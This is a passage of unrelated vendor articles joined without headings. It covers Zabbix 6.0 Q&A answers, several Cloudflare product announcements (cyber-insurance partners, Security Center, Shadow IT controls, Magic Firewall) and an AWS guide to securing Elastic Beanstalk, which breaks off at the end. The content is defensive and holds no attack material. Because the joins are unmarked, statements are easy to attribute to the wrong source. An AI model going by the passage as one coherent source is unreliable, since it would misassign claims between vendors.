A: There have been quite a few. From the frontend side – we have improved the underlying queries that are related to linking new templates, therefore the template linkage performance has increased. This will be very noticeable in large instances, especially when linking or unlinking many templates in a single go.
There have also been improvements to Server – Proxy communication. Specifically – the logic of how proxy frees up uncompressed data. We’ve also introduced improvements on the DB backend side of things – from general improvements to existing queries/logic, to the introduction of primary keys for history tables, which we are still extensively testing at this point.
Q: Will you still be able to change the type of information manually, in case you have some advanced preprocessing rules?
A: In Zabbix 6.0 LTS Zabbix will try and automatically pick the corresponding type of information for your item. This is a great UX improvement since you don’t have to refer to the documentation every time you are defining a new item. And, yes, you will still be able to change the type of information manually – either because of preprocessing rules or if you’re simply doing some troubleshooting.
We are excited to announce our cyber risk partnership program with leading cyber insurance carriers and incident response providers to help our customers reduce their cyber risk. Cloudflare customers can qualify for discounts on premiums or enhanced coverage with our partners. Additionally, our incident response partners are partnering with us for mitigating under attack scenarios in an accelerated manner.
What is a business’ cyber risk?
Let’s start with security and insurance — e.g., being a homeowner is an adventure and a responsibility. You personalize your home, maintain it, and make it secure against the slightest possibility of intrusion — fence it up, lock the doors, install a state of the art security system, and so on. These measures definitely reduce the probability of an intrusion, but you still buy insurance. Why? To cover for the rare possibility that something might go wrong — human errors, like leaving the garage door open, or unlikely events, like a fire, hurricane etc. And when something does go wrong, you call the experts (aka police) to investigate and respond to the situation.
Running a business that has any sort of online presence is evolving along the same lines.Getting the right security posture in place is absolutely necessary to protect your business, customers, and employees from nefarious cyber attacks. But as a responsible business owner/CFO/CISO, nevertheless you buy cyber insurance to protect your business from long-tail events that could allow malicious attackers into your environment, causing material damage to your business. And if such an event does take place, you engage with incident response companies for active investigation and mitigation.
In short, you do everything in your control to reduce your business’ cyber risk by having the right security, insurance, and active response measures in place.
The cyber insurance industry and the rise of ransomware attacks
Over the last two years, the rise of ransomware attacks has wreaked havoc on businesses and the cyber insurance industry. As per a Treasury Department report, nearly 600 million dollars in banking transactions were linked to possible ransomware payments in Suspicious Activity Reports (SARs) filed by financial services firms to the U.S. Government for the first six months of 2021, a jump of more than 40% over the total for all of 2020. Additionally, the Treasury Department investigators identified about 5.2 billion dollars in bitcoin transactions as potential ransomware payments, indicating that the actual amount of ransomware payments was much higher1.
The rise of these attacks has and should make businesses more cautious, making them more inclined to have the right cybersecurity posture in place and to buy cyber insurance coverage.
Further, the rising frequency and severity of attacks, especially ransomware attacks, has led to increasing insurance claims and loss ratios (loss ratios refers to insurance claims i.e., how much insurance companies pay out in claims costs divided by total earned premiums i.e., how much customers pay them for insurance) for the cyber insurers. As per a recent research report, the most frequent types of losses covered by cyber insurers were ransomware (41%), funds transfer loss (27%), and business email compromise incidents (19%). These trends are pushing legacy insurance carriers to reevaluate how much coverage they can afford to offer and how much they have to charge clients to do so; thereby, triggering a structural change that can impact the ability of companies, especially the small and medium businesses, to minimize their cyber risk.
The end result has been a drastic increase in the premiums and denial rates over the last 12 months amongst some carriers, which has pushed customers to seek new coverage. The premiums have increased upwards of 50%, according to infosec experts and vendors, with some quotes jumping closer to 100%.2 Also, the lack of accessible cyber insurance and proper coverage disproportionately impacts the small and medium enterprises that find themselves as the common target for these cyber attacks. According to a recent research report, 70% of ransomware attacks are aimed at organizations with less than 1,000 employees.3 The increased automation of cyber attacks coupled with the use of insecure remote access tools during the pandemic has left these organizations exposed all while being faced with increased cyber insurance premiums or no access to coverage.
While some carriers are excluding ransomware payments from customers’ policies or are denying coverage to customers who don’t have the right security measures in place, there is a new breed of insurance carriers that are incentivizing customers in the form of broader coverage or lower prices for proactively implementing cybersecurity controls.
Cloudflare’s cyber risk partnerships
At Cloudflare, we have always believed in making the Internet a better place. We have been helping our customers focus on their core business while we take care of their cyber security. We are now going a step further, helping our customers reduce their cyber risk by partnering with leading cyber insurance underwriters and incident response providers.
Our objective is to help our customers reduce their cyber risk. We are doing so in partnership with several leading companies highlighted below. Our customers can qualify for enhanced coverage and discounted premiums for their cyber insurance policies by leveraging their security posture with Cloudflare.
Insurance companies: Powered by Cloudflare’s security suite, our customers have comprehensive protection against the most common and severe threat vectors. In most of the cases, when attackers see that a business is using Cloudflare they realize they will not be able to execute a denial of service (DoS) attack or infiltrate the customer’s network. Knowing the power of Cloudflare, the attackers prefer to spend their time on more vulnerable targets. This implies that our customers face a lower frequency and severity of attacks — an ideal customer set that could imply a lower loss ratio for underwriters. Our partners understand the security benefits of using Cloudflare’s security suite and are letting our customers qualify for lower premium rates and enhanced coverage.
Cloudflare customers can qualify for discounts/credits on premiums and enhanced coverage with our partners At-Bay, Coalition, and Cowbell Cyber.
“An insurance policy is an effective tool to articulate the impact of security choices on the financial risk of a company. By offering better pricing to companies who implement stronger controls, like Cloudflare’s Comprehensive DDoS Protection, we help customers understand how best to reduce risk. Incentivizing our customers to adopt innovative security solutions like Cloudflare, combined with At-Bay’s free active risk monitoring, has helped reduce ransomware in At-Bay’s portfolio 7x below the market average.” – Rotem Iram, Co-founder and CEO, At-Bay
“It’s incredible what Cloudflare has done to create a safer Internet. When Cloudflare’s technology is paired with insurance, we are able to protect businesses in an entirely new way. We are excited to offer Cloudflare customers enhanced cyber insurance coverage alongside Coalition’s active security monitoring platform to help businesses build true cyber resilience with an always-on insurance policy.” – Joshua Motta, Co-founder & CEO, Coalition
“We are excited to work with Cloudflare to address our customers’ cybersecurity needs and help reduce their cyber risk. Collaborating with cybersecurity companies like Cloudflare will definitely enable a more data-driven underwriting approach that the industry needs” –Nate Walsh, Head of Strategic Partnerships, Corvus Insurance
“The complexity and frequency of cyber attacks continue to rise, and small and medium enterprises are increasingly becoming the center of these attacks. Through partners like Cloudflare, we want to encourage these businesses to adopt the best security standards and proactively address vulnerabilities, so they can benefit from savings on their cyber insurance policy premiums.” – Jack Kudale, Founder and CEO, Cowbell Cyber
Incident Response companies: Our incident response partners deal with active under attack situations day in, day out — helping customers mitigate the attack, and getting their web property and network back online. Many times, precious time is wasted in trying to figure out which security vendor to reach out to and how to get hold of the right team. We are announcing new relationships with prominent incident response providers CrowdStrike, Mandiant, and Secureworks to enable rapid referral of organizations under attack. As a refresher — my colleague, James Espinosa, wrote a great blog post on how Cloudflare helps customers against ransomware DDoS attacks.
“The speed in which a company is able to identify, investigate and remediate a threat heavily determines how it will fare in the end. Our partnership with Cloudflare provides companies the ability to take action rapidly and contain exposure at the time of an attack, enabling them to get back on their feet and return to business as usual as quickly as possible.” – Thomas Etheridge, Senior Vice President, CrowdStrike Services
“As cyber threats continue to rapidly evolve, the need for organizations to put response plans in place increases. Together, Mandiant and Cloudflare are enabling our mutual customers to mitigate the risk breaches pose to their business operations. We hope to see more of these much-needed technology collaborations that help organizations address the growing threat of ransomware and DDoS attacks in a timely manner.” – Marshall Heilman, EVP & Chief Technology Officer, Mandiant
“Secureworks’ proactive incident response and adversarial testing expertise combined with Cloudflare’s intelligent global platform enables our mutual customers to better mitigate the threats of sophisticated cyberattacks. This partnership is a much needed approach to addressing advanced cyber threats with speed and automation.” – Chris Bell, Vice President – Strategic Alliances, Secureworks
What’s next?
In summary, Cloudflare and its partners are coming together to ensure that our customers can run their business while getting adequate cybersecurity and risk coverage. However, we will not stop here. In the coming months,we’ll be working on creating programmatic ways to share threat intelligence with our cyber risk partners. Through our Security Center, we want to enable our customers, if they so choose, to safely share their security posture information with our partners for easier, transparent underwriting. Given the scale of our network and the magnitude and heterogeneity of attacks that we witness, we are in a strong position to provide our partners with insights around long-tail risks.
Today we are launching Cloudflare Security Center, which brings together our suite of security products, our security expertise, and unique Internet intelligence as a unified security intelligence solution.
Cloudflare was launched in 2009 to help build a better Internet and make Internet performance and security accessible to everyone. Over the last twelve years, we’ve disrupted the security industry and launched a broad range of products to address our customer’s pain points across Application Security, Network Security, and Enterprise Security.
While there are a plethora of solutions on the market to solve specific pain points, we’ve architected Cloudflare One as a unified platform to holistically address our customers’ most pressing security challenges. As part of this vision, we are extremely excited to launch the public beta of Security Center. Our goal is to help customers understand their attack surface and quickly take action to reduce their risk of an incident.
Starting today, all Cloudflare users can use Security Center (available in your Cloudflare dashboard) to map their attack surface, review potential security risks and threats to their organizations, and mitigate these risks with a few clicks.
The changing corporate attack surface
A year ago, we announced Cloudflare One to address the complex nature of corporate networking today. The proliferation of public cloud, SaaS applications, mobile devices, and remote work has made the traditional model of the corporate network obsolete. The Internet is the new enterprise WAN, necessitating a novel approach to the way security teams manage their attack surface.
Second, the way we build applications has changed. Web applications today heavily use open source code and third-party scripts. Earlier this year we announced Page Shield, now GA, to help our customers track and monitor their third-party JavaScript dependencies.
These transformations in the IT landscape, coupled with the natural evolution that every organization goes through — such as growth, attrition, and M&A activity — create significant complexity for IT and security teams to stay on top of their organization’s ever-changing attack surface.
The importance of attack surface management
An attack surface refers to the entire IT footprint of an organization that is susceptible to cyberattacks. Your attack surface consists of all the corporate servers, devices, SaaS, and cloud assets that are accessible from the Internet.
Over the last six months, something we’ve heard consistently from our customers is that they often don’t have a good grasp of their attack surface.
Because of the ease of creating new resources with the public cloud or SaaS, IT teams struggle to stay on top of shadow IT resources. Even when IT is aware of new infrastructure being spun up by dev teams, ensuring that these new resources are configured in line with corporate security standards is a constant battle.
It’s not only new resources that cause problems for IT teams — IT teams also want to quickly identify and decommission forgotten websites or applications that may have sensitive data or expose their organization to potential security risks.
These challenges are further complicated by the use of third-party software. Open source code, JavaScript libraries, SaaS applications, or self-hosted software introduce supply-chain risk into your attack surface. Security teams want to monitor potential vulnerabilities and malicious dependencies in third-party software.
Lastly, external threats add to your organization’s attack surface. Security teams want to quickly identify and take down rogue assets created by malicious actors. These rogue assets are often phishing sites or malware distribution points that attempt to trick the organization’s customers or employees into providing sensitive details or downloading a file.
The challenges of attack surface management
With such an expansive list of potential risks and threats to an organization, it’s no surprise that organizations of all sizes are struggling to keep up with their attack surface. Many of our customers have built in-house solutions or use a range of security products to ascertain and monitor their attack surface.
But we’ve consistently heard from our customers that these solutions just don’t work. They are often too noisy and produce far too many alerts, making it difficult for security teams to triage and prioritize issues. Customers are also tired of security vendor sprawl and don’t want to add yet another tool to integrate with their existing security solutions. Security teams have limited resources — across staff and budget — and they want a solution that creates less, not more, work.
Introducing Cloudflare Security Center
In order to make attack surface management accessible and actionable for all organizations, we are excited to launch Cloudflare Security Center. Security Center is a single place to map your attack surface, identify potential security risks, and mitigate risks with a few clicks.
Starting today, you’ll find “Security Center” in your Account Home page.
Once you navigate to Security Center within the Cloudflare dashboard, you’ll find two new features:
Security Insights: Review and manage potential security risks and vulnerabilities associated with your IT infrastructure.
Infrastructure: Review and manage your IT infrastructure
In today’s release, if you navigate to Security Insights, you can view a log of potential security risks, vulnerabilities, and insecure configurations associated with your IT infrastructure on Cloudflare. Our security experts have helped curate our automated detections to help you quickly triage and address the most critical issues impacting your attack surface.
If this is your first time using Security Center, you will need to click Start scan to consent to Cloudflare scanning your infrastructure. Once you opt in to Security Center, we will scan your infrastructure on a regular schedule:
If you have any Pro or higher plan zones, or are using Teams Standard or higher, after opting in to Security Center, we will scan your infrastructure on a daily basis.
For all other Cloudflare plans, after opting in to Security Center, we will scan your infrastructure every three days.
After every scan, you can visit the Security Insights page to view a high level summary of your attack surface and dig into the specifics of any potential security risks we have identified.
Directly from Security Insights, you can resolve any insights by making the recommended changes to your Cloudflare configurations in just a few clicks.
With each scan, we inventory your IT assets on Cloudflare as part of the Infrastructure feature within Security Center. Here, you can view a summary of your domains on Cloudflare. At the top of the page, you can find a breakdown of your DNS records by Proxy Usage. Below this chart, you can review a list of all your domains on Cloudflare, as well as view other key details about your domains.
What’s next
All features made available as part of today’s Security Center beta release are included in your existing Cloudflare plan. It’s our mission to help build a better Internet, and we believe that making attack surface management accessible and actionable is an important part of that mission. We want everyone, from an individual web developer to the CIO of a Fortune 100 company, to be able to easily secure their IT footprint.
You can get started today with Security Center’s beta release by visiting your Cloudflare dashboard. With just a few clicks, you can ensure that your Cloudflare settings are optimized for your organization’s security.
We’d love your feedback on Security Center. If you have any comments, questions or concerns, you can contact us directly at [email protected], or on our Cloudflare Community forum.
Stay tuned for further updates, as we continue to add more features to Security Center. Soon, you’ll be able to control not only your IT assets on Cloudflare, but your entire IT footprint. We’ll continue to build upon our risk detection capabilities, going beyond Application Security to Network Security, Enterprise Security, and Brand Security.
SaaS application usage has exploded over the last decade. According to Gartner, global spending on SaaS in 2021 was $145bn and is forecasted to reach $171bn in 2022. A key benefit of SaaS applications is that they are easy to get started with and either free or low cost. This is great for both users and leaders — it’s easy to try out new tools with no commitment or procurement process. But this convenience also presents a challenge to CIOs and security teams. Many SaaS applications are great for a specific task, but lack required security controls or visibility. It can be easy for employees to start using SaaS applications for their everyday job without IT teams noticing — these “unapproved” applications are popularly referred to as Shadow IT.
CIOs often have no visibility over what applications their SaaS employees are using. Even when they do, they may not have an easy way to block users from using unapproved applications, or on the contrary, to provide easy access to approved ones.
Visibility into application usage
In an office, it was easier for CIOs and their teams to monitor application usage in their organization. Mechanisms existed to inspect outbound DNS and HTTP traffic over office Wi-Fi equipment and detect unapproved applications. In an office setting, IT teams could also notice colleagues using new SaaS applications or maybe hear them mention these new applications. When users moved to remote work due to COVID-19 and other factors, this was no longer possible, and network-driven logging became ineffective. With no central network, the focus of application monitoring needed to shift to user’s devices.
We’re excited to announce updates to Cloudflare for Teams that address Shadow IT challenges. Our Zero Trust platform provides a framework to identify new applications, block applications and provide a single location for approved applications. Cloudflare Gateway allows admins to monitor user traffic and detect new application usage. Our Shadow IT report then presents a list of new applications and allows for approval or rejection of each application.
This gives CIOs in-depth understanding of what applications are being used across their business, and enables them to come up with a plan to allow and block applications based on their approval status in the organization.
Blocking the right applications
Once the list of “shadow” applications is known, the next step is to block these applications with a meaningful error message to steer the user toward an approved application. The point should not be to make the user feel like they have done something wrong, but to encourage and provide them with the right application to leverage.
Cloudflare Gateway allows teams to configure policies to block unapproved applications and provide clear instructions to a user about what their alternatives are to that application. In Gateway, administrators can configure application-specific policies like “block all file sharing applications except Google Drive.” Tenant control can be utilized to restrict access to specific instances of a given application to prevent personal account usage of these tools.
Protect your approved applications
The next step is to protect the application you do want your users to use. In order to fully protect your SaaS applications, it is important to secure the initial authorization and maintain a clear audit trail of user activity. Cloudflare Access for SaaS allows administrators to protect the front door of their SaaS applications and verify user identity, multi-factor authentication, device posture and location before allowing access. Gateway then provides a clear audit trail of all user activity within the application to provide a clear picture in the case of a breach or other security events.
This allows CIOs and their teams to define which users may or may not access specific applications. Instead of creating broad access lists, they can define exactly which users need a specific tool to complete their job. This is beneficial for both security and licensing costs.
Show your users the applications they need
The final challenge is making it clear to users which applications they do and do not have access to. New employees often spend their first few weeks discovering new applications that would have helped them get up to speed more quickly.
We wanted to make it easy to provide a single place for users to access all of their approved applications. We added bookmarks and application visibility control to the Access application launcher to make this even easier.
Once all your applications are available through the application launcher, we log all user activity across these applications. And even better, many of these applications are hosted on Cloudflare which leads to performance improvements overall.
Getting started with the Access application launcher is easy and free for the first 50 users! Get started today from the Cloudflare for Teams dashboard.
Today, we’re very excited to announce a set of updates to Magic Firewall, adding security and visibility features that are key in modern cloud firewalls. To improve security, we’re adding threat intel integration and geo-blocking. For visibility, we’re adding packet captures at the edge, a way to see packets arrive at the edge in near real-time.
Magic Firewall is our network-level firewall which is delivered through Cloudflare to secure your enterprise. Magic Firewall covers your remote users, branch offices, data centers and cloud infrastructure. Best of all, it’s deeply integrated with Cloudflare, giving you a one-stop overview of everything that’s happening on your network.
A brief history of firewalls
We talked a lot about firewalls on Monday, including how our firewall-as-a-service solution is very different from traditional firewalls and helps security teams that want sophisticated inspections at the Application Layer. When we talk about the Application Layer, we’re referring to OSI Layer 7. This means we’re applying security features using semantics of the protocol. The most common example is HTTP, the protocol you’re using to visit this website. We have Gateway and our WAF to protect inbound and outbound HTTP requests, but what about Layer 3 and Layer 4 capabilities? Layer 3 and 4 refer to the packet and connection levels. These security features aren’t applied to HTTP requests, but instead to IP packets and (for example) TCP connections. A lot of folks in the CIO organization want to add extra layers of security and visibility without resorting to decryption at Layer 7. We’re excited to talk to you about two sets of new features that will make your lives easier: geo-blocking and threat intel integration to improve security posture, and packet captures to get you better visibility.
Threat Intel and IP Lists
Magic Firewall is great if you know exactly what you want to allow and block. You can put in rules that match exactly on IP source and destination, as well as bitslicing to verify the contents of various packets. However, there are many situations in which you don’t exactly know who the bad and good actors are: is this IP address that’s trying to access my network a perfectly fine consumer, or is it part of a botnet that’s trying to attack my network?
The same goes the other way: whenever someone inside your network is trying to create a connection to the Internet, how do you know whether it’s an obscure blog or a malware website? Clearly, you don’t want to play whack-a-mole and try to keep track of every malicious actor on the Internet by yourself. For most security teams, it’s nothing more than a waste of time! You’d much rather rely on a company that makes it their business to focus on this.
Today, we’re announcing Magic Firewall support for our in-house Threat Intelligence feed. Cloudflare sees approximately 28 million HTTP requests each second and blocks 76 billion cyber threats each day. With almost 20% of the top 10 million Alexa websites on Cloudflare, we see a lot of novel threats pop up every day. We use that data to detect malicious actors on the Internet and turn it into a list of known malicious IPs. And we don’t stop there: we also integrate with a number of third party vendors to augment our coverage.
To match on any of the threat intel lists, just set up a rule in the UI as normal:
Threat intel feed categories include Malware, Anonymizer and Botnet Command-and-Control centers. Malware and Botnet lists cover properties on the Internet distributing malware and known command and control centers. Anonymizers contain a list of known forward proxies that allow attackers to hide their IP addresses.
In addition to the managed lists, you also have the flexibility of creating your own lists, either to add your own known set of malicious IPs or to make management of your known good network endpoints easier. As an example, you may want to create a list of all your own servers. That way, you can easily block traffic to and from it from any rule, without having to replicate the list each time.
Another particularly gnarly problem that many of our customers deal with is geo restrictions. Many are restricted in where they are allowed (or want to) accept traffic from and to. The challenge here is that nothing about an IP address tells you anything about the geolocation of it. And even worse, IP addresses regularly change hands, moving from one country to the other.
As of today, you can easily block or allow traffic to any country, without the management hassle that comes with maintaining lists yourself. Country lists are kept up to date entirely by Cloudflare, all you need to do is set up a rule matching on the country and we’ll take care of the rest.
Packet captures at the edge
Finally, we’re releasing a very powerful feature: packet captures at the edge. A packet capture is a pcap file that contains all packets that were seen by a particular network box (usually a firewall or router) during a specific time frame. Packet captures are useful if you want to debug your network: why can’t my users connect to a particular website? Or you may want to get better visibility into a DDoS attack, so you can put up better firewall rules.
Traditionally, you’d log into your router or firewall and start up something like tcpdump. You’d set up a filter to only match on certain packets (packet capture files can quickly get very big) and grab the file. But what happens if you want coverage across your entire network: on-premises, offices and all your cloud environments? You’ll likely have different vendors for each of those locations and have to figure out how to get packet captures from all of them. Even worse, some of them might not even support grabbing packet captures.
With Magic Firewall, grabbing packet captures across your entire network becomes simple: because you run a single network-firewall-as-a-service, you can grab packets across your entire network in one go. This gets you instant visibility into exactly where that particular IP is interacting with your network, regardless of physical or virtual location. You have the option of grabbing all network traffic (warning, it might be a lot!) or set a filter to only grab a subset. Filters follow the same Wireshark syntax that Magic Firewall rules use:
(ip.src in $cf.anonymizer)
We think these are great additions to Magic Firewall, giving you powerful primitives to police traffic and tooling to gain visibility into what’s actually going on in your network. Threat Intel, geo blocking and IP lists are all available today — reach out to your account team to have them activated. Packet captures is entering early access later in December. Similarly, if you’re interested, please reach out to your account team!
Launching an application in AWS Elastic Beanstalk is straightforward. You define a name for your application, select the platform you want to run it on (for example, Ruby), and upload the source code. The default Elastic Beanstalk configuration is intended to be a starting point which prioritizes simplicity and ease of setup. This allows you to quickly deploy a web application on the AWS Cloud. For increased security of production applications, we recommend additional steps you can take to complement the default configuration.
In this post we will describe our recommendations, which are aligned with the AWS Well-Architected Framework, to help you harden the security posture of your Elastic Beanstalk applications. The Well-Architected Framework provides best practices to help you build secure, high-performing, resilient, and efficient infrastructure for your applications and workloads. Focusing on the Security pillar of the framework, we will walk you through additional configurations for increased network protection and protection of data at rest and in transit.
Introduction to Elastic Beanstalk
Elastic Beanstalk is an orchestration service that provisions and operates infrastructure in the AWS Cloud. You can use Elastic Beanstalk to deploy and manage applications in the cloud. Elastic Beanstalk supports many programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, Go, and Docker. Elastic Beanstalk can help you decrease overhead by handling tasks such as resource provisioning, load balancing, auto scaling, and health monitoring. You only need to upload the application code. Elastic Beanstalk automatically integrates with other AWS services such as Amazon CloudWatch for logging and monitoring.
Target scenario for this post
This post shows you how to achieve the following things:
Attach a MySQL database to the application using Amazon RDS.
Protect your sensitive data.
Align your application’s security configuration to the Security pillar of the Well-Architected Framework.
Figure 1: Target architecture for the two-tier web application deployed using Elastic Beanstalk
Figure 1 depicts the target architecture, which is a two-tier web application. Clients resolve the website’s domain name using the Domain Name System (DNS) service Amazon Route 53. An Application Load Balancer (ALB) is used to direct traffic to and from the Amazon EC2 instances which are running the web servers. The EC2 instances are deployed in an Auto Scaling group in private subnets. To ensure that clients can always access the application, the infrastructure is setup so that it can automatically deal with system failures and scale up when there’s an increase in demand. This is done by placing the EC2 instances in the Auto Scaling group across two Availability Zones for high availability. There is also an RDS MySQL database deployed in a private subnet, which is replicated to a stand-by instance in another Availability Zone for disaster recovery. Logs and Metrics are sent to CloudWatch, and Amazon Simple Storage Service (Amazon S3) is used to store logs and source code. Finally, a Network Address Translation (NAT) gateway and Internet gateway manage inbound and outbound traffic to subnets.
The following sections focus on the four main security configurations numbered in Figure 1:
Deploying the EC2 and RDS instances from the web and database layer in private subnets.
Encrypting the logging and source code S3 bucket.
Encrypting the RDS instance and its stand-by replica.
Encrypting data in transit by using the HTTPS protocol.
Strengthening your Elastic Beanstalk application based on the Security pillar of the Well-Architected Framework
To harden the security of your Elastic Beanstalk application, you can build on top of the default setup to incorporate the following security best practices:
Protect networks –In the default Elastic Beanstalk setup, the EC2 instances are deployed together with an Application Load Balancer (ALB) in a public subnet. In most cases, EC2 instances do not need to be directly accessible from the internet and therefore should be placed in private subnets. The ALB should be left in the public subnet to provide a single entry-point for inbound traffic from external clients and forward this traffic to the instances over a private network. If these instances need to make a direct outbound connection to the internet, for example to call third-party APIs, we recommend creating a Network Address Translation (NAT) gateway in a public subnet, and adding a route from the private subnet where your instances are running to the NAT Gateway. Your instances can then send requests to the internet and receive corresponding responses through the NAT gateway, but the instances themselves will not be directly accessible from the internet. For more options on interactively accessing instances see AWS Systems Manager.
Protect data at rest –We recommend encrypting data at rest. Elastic Beanstalk does not encrypt data stored in Amazon S3 buckets by default, so you should modify the default setup to encrypt the bucket. Similarly, when you set up an RDS database directly through Elastic Beanstalk, you don’t have the option to encrypt the database, so you need to set up your database independently and enable encryption.
Protect data in transit – Web traffic sent between your clients and the ALB over the internet should use HTTPS rather than HTTP. The HTTPS protocol creates an encrypted connection through TLS (Transport Layer Security) between client and server before sending any web traffic. The default setup in Elastic Beanstalk uses HTTP, so the choice to use HTTPS and how to enable it sits with the user. Setting up HTTPS can be done with SSL / TLS server certificates (X.509 certificates) which you manage inside AWS using AWS Certificate Manager or through an external provider. ALB supports TLS-termination, which means that it takes care of the encryption and decryption of the traffic communicated with clients, and then forwards the traffic to the instances over the AWS private network.
Implementing the recommended best practices for your application
To implement the best practices from the section above, you will take the following steps to launch your application, protect networks and to protect data at rest and in transit:
Create your own VPC with public and private subnets.
Create a highly-available Elastic Beanstalk application.
Modify the configuration to deploy instances in private subnets.
Encrypt the log and source code bucket.
Launch an encrypted RDS instance.
Set up encryption in-transit by using the HTTPS protocol.
Create your VPC with public and private subnets
In the AWS Management Console, go to VPC, and select Launch VPC wizard.
Adjust the VPC specifications as needed. Specify a CIDR range and a name for the VPC. For the private and public subnets, you need to additionally specify the subnets CIDR range as well as which Availability Zone they should be created in. In order for instances in the private subnet to access the internet, the set-up creates a NAT gateway that resides in the public subnet. In order to do that, you need to specify an Elastic IP ID. If you don’t have an Elastic IP yet, under the VPC console go to Elastic IP addresses, click on Allocate Elastic IP address and Allocate. Use the Allocation ID in the VPC wizard.
Select Create VPC.
Because the target architecture is highly available, another set of public and private subnets needs to be created and set to reside in a different Availability Zone from the subnets you configured in step 4. This is done by going to the Subnets section in the VPC Console. Click on Create subnet, select the VPC you just created, add a new subnet, making sure to assign it to a different Availability Zone. Press Add new subnet to add a second subnet on the same configuration page. When done, press Create subnet.
By default, the subnets will use the main routing table, which will treat them as private subnets. In order to make one of the newly created subnets public, it needs to be added to the route table, which has a route to the Internet Gateway. Go to the Route Tables section in the VPC Console and find the route table associated with your newly created VPC, which has the route to the Internet Gateway. This should be the Route Table which has 1 explicit subnet association. Click on the Route Table’s ID, and verify that there’s a route to a target with the igw- prefix. Then, under the Subnet association tab, edit the explicit subnet associations to include the newly created subnet.
After this is done, you should have two public and two private subnets across two Availability Zones for your new VPC.
Create a highly available Elastic Beanstalk application
The following steps will show you how to create a highly available Elastic Beanstalk application.
In the AWS Management Console, choose Elastic Beanstalk, and then, in the Get Started section, select Create Application.
Provide a name for the application and define the platform it should run on. In our example, the platform is Ruby.
Provide the source code for your web application or use the sample code provided in the Elastic Beanstalk setup console.
To use the sample code, select Sample Application.
To upload your own source code, in the Source code origin section, for Version label, enter the name of your application code, and then for Source code origin, choose Local file, select Choose File, and navigate to the file that you want to use, as shown in Figure 3.
Figure 3: Source code origin section of the Elastic Beanstalk console
Select Configure more options
Depending on your application’s needs, you can select a configuration preset that includes recommended values for several configurations. Select High Availability to include a load balancer and auto scaling for multiple Availability Zones.
Deploy your instances in private subnets
In this step, you will set up Elastic Beanstalk to deploy the Application Load Balancer in public subnets to provide a point of access for inbound traffic from the internet, and you deploy the EC2 instances in a private subnet.
While still in the Configure more options settings:
In the Network section, select Edit, and then, from the dropdown list, select the VPC that you just created.
To deploy your instances in private subnets, in the Load balancer settings section, for Load balancer subnets, check the box next to each public subnet, and in the Instance settings section, for Instance subnets, check the box next to each private subnet, as shown in Figure 4.
Figure 4: Elastic Beanstalk subnet settings for Load Balancer and instances
Select Save.
Encrypt the log and source code bucket and block public access
After Elastic Beanstalk has created the application, you can encrypt the S3 bucket.
Open the S3 console and choose the bucket that was created automatically as part of the Elastic Beanstalk setup. The bucket name will have the following structure: elasticbeanstalk-region-account-id.
To encrypt the bucket, choose Properties, and then, for Default Encryption, select Edit, and for Server-side encryption, select Enable.
For Encryption key type, you can use an S3-managed encryption key by selecting Amazon S3 key (SSE-S3). If you want more control over the keys used for encryption, select AWS Key Management Service key (SSE-KMS), which is an encryption key protected by AWS Key Management Service (KMS). Here, you can specify to use an AWS managed key or one of your own Customer managed keys from KMS. For more information on SSE-KMS, visit Protecting Data Using Server-Side Encryption with KMS keys Stored in AWS Key Management Service (SSE-KMS).
Select Save changes.
Even though the bucket that was created by Elastic Beanstalk is non-public by default, we recommend to enable “S3 Block Public Access” at the account level or at least at the bucket level to prevent tampering or accidentally changing this setting in the future.
In your S3 console, click on Block Public Access settings for this account.
If Block all public access is not yet enabled, click on Edit, check the box next to Block all public access and click Save.
Apart from that, you can also block public access at the bucket level. For this, click on the respective bucket, open the Permissions section and edit Block public access (bucket settings) similarly to how you did in step 2.
Launch an encrypted RDS instance
Elastic Beanstalk allows you to set up and run RDS instances in your Elastic Beanstalk environment. Until recently, the database was tied to the lifecycle of the Elastic Beanstalk environment, and its use was recommended to be limited to development and testing environments only. For example, if you previously launched an RDS instance using Elastic Beanstalk, and the Elastic Beanstalk environment was terminated, the RDS instance would also be deleted. As of October 6, 2021, Elastic Beanstalk now supports Database Decoupling, so that the database will persist when the environment is deleted.
However, Elastic Beanstalk currently does not allow you to set up encryption for your database. For this reason, this post shows you how to set up your Elastic Beanstalk application with a decoupled database, by creating the database directly in the RDS service, separate from your Elastic Beanstalk application. RDS allows you to encrypt your database.
Decoupling your database and setting it up directly through the RDS service in the AWS console will require additional steps for integration with your Elastic Beanstalk application, which this post will walk you through.
Note: If you are using the Elastic Beanstalk service to create your RDS instance, you can select one of three options:
The first option, enabled by selecting the Create snapshot retention option in the database settings in the Elastic Beanstalk console, makes sure that Elastic Beanstalk creates a snapshot of your database prior to termination. You can restore an existing snapshot of your database through the Elastic Beanstalk console. Bear in mind that there will be downtime of your database between snapshot creation and snapshot restore.
The second option, Retain, creates a decoupled database, which persists if the Elastic Beanstalk environment has been terminated.
The third option Delete removes the database upon termination.
In this step, you will create an encrypted RDS database, allow access to the database from your application’s instances only, and add the required environment variables to your application so you can use your database in the application.
On the RDS service page in the console, select Create database.
For the database creation method, select Standard create.
For Engine options, choose MySQL and select the latest version.
For Templates choose either the Dev/Test or Production template according to your use case.
In the Settings section, provide a name to use as the database identifier and set a username and password.
Select the appropriate DB instance class that meets your processing power and memory requirements.
For Storage, select your storage type and allocate storage.
If you need Multi-AZ deployment, in the Availability & durability section, choose Create a standby instance.
In the Connectivity section, select the VPC that you created in the Create your VPC with public and private subnets section earlier in this blog post, and verify that Public access has been set to No.For VPC security group,choose Create new and provide a name to identify the group later on.
In the Additional configuration section, under Encryption, choose Enable Encryption. You can choose the default AWS KMS key if you’re happy with AWS managing the keys, or provide a custom key if you want more control. Bear in mind that the encryption option cannot be changed after the database has been created.
Leave the defaults for the remaining settings and select Create database.
After you set up the RDS database and your new Elastic Beanstalk application, you can add the database to your application.
In the RDS console, go to your newly created RDS database and scroll down to Security group rules.
Select the security group that has the CIDR/IP – Inbound type.
Under Inbound rules, select the rule that is listed, and then select Edit inbound rules.
Under the Source column, make sure Custom is selected, and in the search-box next to it, select the security group associated with your Elastic Beanstalk Auto Scaling group.
Important: As a security best practice, you should allow traffic to your RDS database from your instances only. Therefore, make sure the security group allows traffic only from the Auto Scaling group’s security group, and that it has no additional entries.
To add the RDS details to the Elastic Beanstalk environment properties, go to your application’s environment in the Elastic Beanstalk service and navigate to Configuration > Software > Edit > Environment Properties. Add RDS_HOSTNAME, RDS_PORT, RDS_DB_NAME, RDS_USERNAME and RDS_PASSWORD as properties and provide the values that you used to set up the database.
Restart the application by going back to your Elastic Beanstalk environment, and then under Environment actions, choose Restart app server(s).
